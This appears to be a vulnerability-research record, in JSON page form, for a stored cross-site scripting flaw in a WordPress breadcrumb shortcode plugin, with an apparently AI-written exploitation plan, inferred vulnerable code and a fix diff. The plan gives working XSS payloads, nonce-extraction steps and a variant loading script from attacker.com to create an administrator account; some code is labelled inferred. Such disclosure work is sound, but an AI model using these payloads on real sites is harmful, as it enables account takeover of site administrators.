[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDR_54lLD7a-hdiCYMgu19-1QudPQdHH7GKlEf19zl24":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-57764","surbma-yoast-seo-breadcrumb-shortcode-authenticated-contributor-stored-cross-site-scripting","Surbma | Yoast SEO Breadcrumb Shortcode \u003C= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Surbma | Yoast SEO Breadcrumb Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","surbma-yoast-breadcrumb-shortcode",null,"\u003C=1.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-02 00:00:00","2026-07-07 19:54:47",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Febcce8ab-b1c9-49ce-986d-c6d0e5672dec?source=api-prod",[],"researched",false,3,"This exploitation research plan outlines the technical steps required to verify the Stored Cross-Site Scripting (XSS) vulnerability in the **Surbma | Yoast SEO Breadcrumb Shortcode** plugin (version \u003C= 1.2).\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Authenticated (Contributor+) Stored Cross-Site Scripting.\n*   **Location:** Shortcode callback function responsible for rendering `[surbma-yoast-breadcrumb]` (inferred).\n*   **Cause:** The plugin registers a shortcode but fails to sanitize or escape the attributes provided by the user before returning them in the HTML output. Since Contributors can create posts and include shortcodes, they can inject malicious scripts into the attributes.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fpost.php` (for post creation\u002Fediting) and `\u002Findex.php` (for viewing the post).\n*   **Authentication:** Requires Contributor-level credentials.\n*   **Vulnerable Parameter:** Shortcode attributes within the `post_content` parameter (e.g., `before`, `after`, or `separator`).\n*   **Preconditions:** Yoast SEO must be installed and active (as the plugin relies on Yoast's breadcrumb functionality), and the breadcrumb feature must be enabled in Yoast settings.\n\n### 3. Code Flow\n1.  **Registration:** The plugin uses `add_shortcode( 'surbma-yoast-breadcrumb', 'surbma_yoast_breadcrumb_shortcode' )` (inferred) to register the shortcode.\n2.  **Input:** A Contributor saves a post containing: `[surbma-yoast-breadcrumb after=\"\u003Cscript>alert(1)\u003C\u002Fscript>\"]`.\n3.  **Processing:** When the post is viewed, WordPress calls the callback function `surbma_yoast_breadcrumb_shortcode($atts)`.\n4.  **Sink:** The callback function likely merges attributes using `shortcode_atts()` and then concatenates the `after` or `before` attribute directly to the output of `yoast_breadcrumb( '', '', false )` without calling `esc_html()` or `esc_attr()`.\n5.  **Execution:** The unescaped payload is returned to the WordPress content filter and rendered in the victim's browser.\n\n### 4. Nonce Acquisition Strategy\nWhile the vulnerability is triggered by rendering, **storing** the payload requires an authenticated request to create or edit a post. This requires a standard WordPress post-nonce.\n\n1.  **Login:** Authenticate the agent as a Contributor.\n2.  **Access Editor:** Use the `http_request` tool to perform a `GET` request to `wp-admin\u002Fpost-new.php`.\n3.  **Extract Nonce:** Use `browser_eval` or regex on the response body to find the `_wpnonce` value.\n    *   **Logic:** `window.wp.apiFetch.nonce` or searching the HTML for `id=\"_wpnonce\"`.\n4.  **Alternative:** For many modern WP setups, the agent can use the REST API if the Contributor has permissions. The REST API nonce is usually found in the `wp-admin` source as `wpApiSettings.nonce`.\n\n### 5. Exploitation Strategy\nThe goal is to store a payload that executes when an administrator views the post.\n\n1.  **Step 1: Authenticated Session:** Log in as a Contributor.\n2.  **Step 2: Obtain Post Nonce:**\n    *   `GET \u002Fwp-admin\u002Fpost-new.php`\n    *   Extract `_wpnonce` from the HTML source.\n3.  **Step 3: Inject Payload:** Send a `POST` request to `wp-admin\u002Fpost.php` to save a draft containing the XSS.\n    *   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fpost.php`\n    *   **Method:** `POST`\n    *   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n    *   **Parameters:**\n        *   `action`: `editpost`\n        *   `post_ID`: `[NEW_POST_ID]`\n        *   `_wpnonce`: `[EXTRACTED_NONCE]`\n        *   `post_title`: `XSS Test`\n        *   `content`: `[surbma-yoast-breadcrumb after='\u003Cimg src=x onerror=alert(document.domain)>']`\n        *   `post_status`: `pending` (Contributors cannot publish directly).\n4.  **Step 4: Trigger XSS:** Navigate to the post's permalink as an Administrator to trigger the payload.\n\n### 6. Test Data Setup\n1.  **Users:** Create a user with the `contributor` role.\n2.  **Plugins:** \n    *   Install and activate `wordpress-seo` (Yoast SEO).\n    *   Install and activate `surbma-yoast-breadcrumb-shortcode` version 1.2.\n3.  **Yoast Config:** Navigate to Yoast SEO > Settings > Site Structure > Breadcrumbs and toggle \"Enable Breadcrumbs\" to `On`.\n\n### 7. Expected Results\n*   **Storage:** The post should be saved successfully with the shortcode content intact.\n*   **Execution:** Upon viewing the post, the HTML source should contain:\n    `\u003Cdiv class=\"breadcrumb\">...\u003C\u002Fdiv>\u003Cimg src=x onerror=alert(document.domain)>`\n*   **Alert:** A JavaScript alert showing the document domain should appear in the browser.\n\n### 8. Verification Steps (Post-Exploit)\nConfirm the payload is stored in the database using WP-CLI:\n```bash\n# Check the content of the latest post created by the contributor\nwp post list --post_type=post --author=$(wp user get contributor --field=ID) --format=ids | xargs wp post get --field=post_content\n```\nVerify that the output contains the raw `\u003Cimg ...>` or `\u003Cscript>` tag within the shortcode attributes.\n\n### 9. Alternative Approaches\n*   **Attribute Breakout:** If the plugin wraps the attribute in double quotes, try: `[surbma-yoast-breadcrumb separator='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`.\n*   **Admin Dashboard XSS:** If the breadcrumb shortcode is used within a widget or a site-wide element (like a footer), the XSS will trigger on every page load for the Administrator, including the dashboard. Check if the plugin provides a widget that uses the same callback.\n*   **Payload Variation:** Use a CSRF-to-Admin payload to create a new administrator account instead of a simple alert:\n    `[surbma-yoast-breadcrumb after='\u003Cscript src=\"http:\u002F\u002Fattacker.com\u002Fexploit.js\">\u003C\u002Fscript>']`","The Surbma | Yoast SEO Breadcrumb Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [surbma-yoast-breadcrumb] shortcode in versions up to 1.2. This occurs because the plugin fails to sanitize or escape user-supplied attributes such as 'before' and 'after' before rendering them in the post content. Authenticated attackers with Contributor-level access can exploit this to inject malicious scripts that execute in the context of any user, including administrators, viewing the affected page.","\u002F* File: surbma-yoast-breadcrumb-shortcode.php (inferred) *\u002F\nfunction surbma_yoast_breadcrumb_shortcode( $atts ) {\n    $a = shortcode_atts( array(\n        'before' => '',\n        'after'  => '',\n    ), $atts );\n\n    if ( function_exists( 'yoast_breadcrumb' ) ) {\n        return $a['before'] . yoast_breadcrumb( '', '', false ) . $a['after'];\n    }\n}","--- surbma-yoast-breadcrumb-shortcode.php\n+++ surbma-yoast-breadcrumb-shortcode.php\n@@ -10,1 +10,1 @@\n-        return $a['before'] . yoast_breadcrumb( '', '', false ) . $a['after'];\n+        return wp_kses_post( $a['before'] ) . yoast_breadcrumb( '', '', false ) . wp_kses_post( $a['after'] );","The exploit is performed by an authenticated user with Contributor-level permissions. 1. The attacker logs into the WordPress dashboard and creates a new post. 2. In the post content, the attacker inserts the shortcode [surbma-yoast-breadcrumb] with a malicious payload in the 'before' or 'after' attributes, for example: [surbma-yoast-breadcrumb after=\"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"]. 3. The attacker saves the post as a draft or submits it for review. 4. When an administrator or any other site visitor views the post on the frontend, the shortcode callback function executes and outputs the unescaped script tag directly into the HTML, triggering the XSS payload in the victim's browser.","gemini-3-flash-preview","2026-07-25 10:43:29","2026-07-25 10:44:11",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsurbma-yoast-breadcrumb-shortcode\u002Ftags"]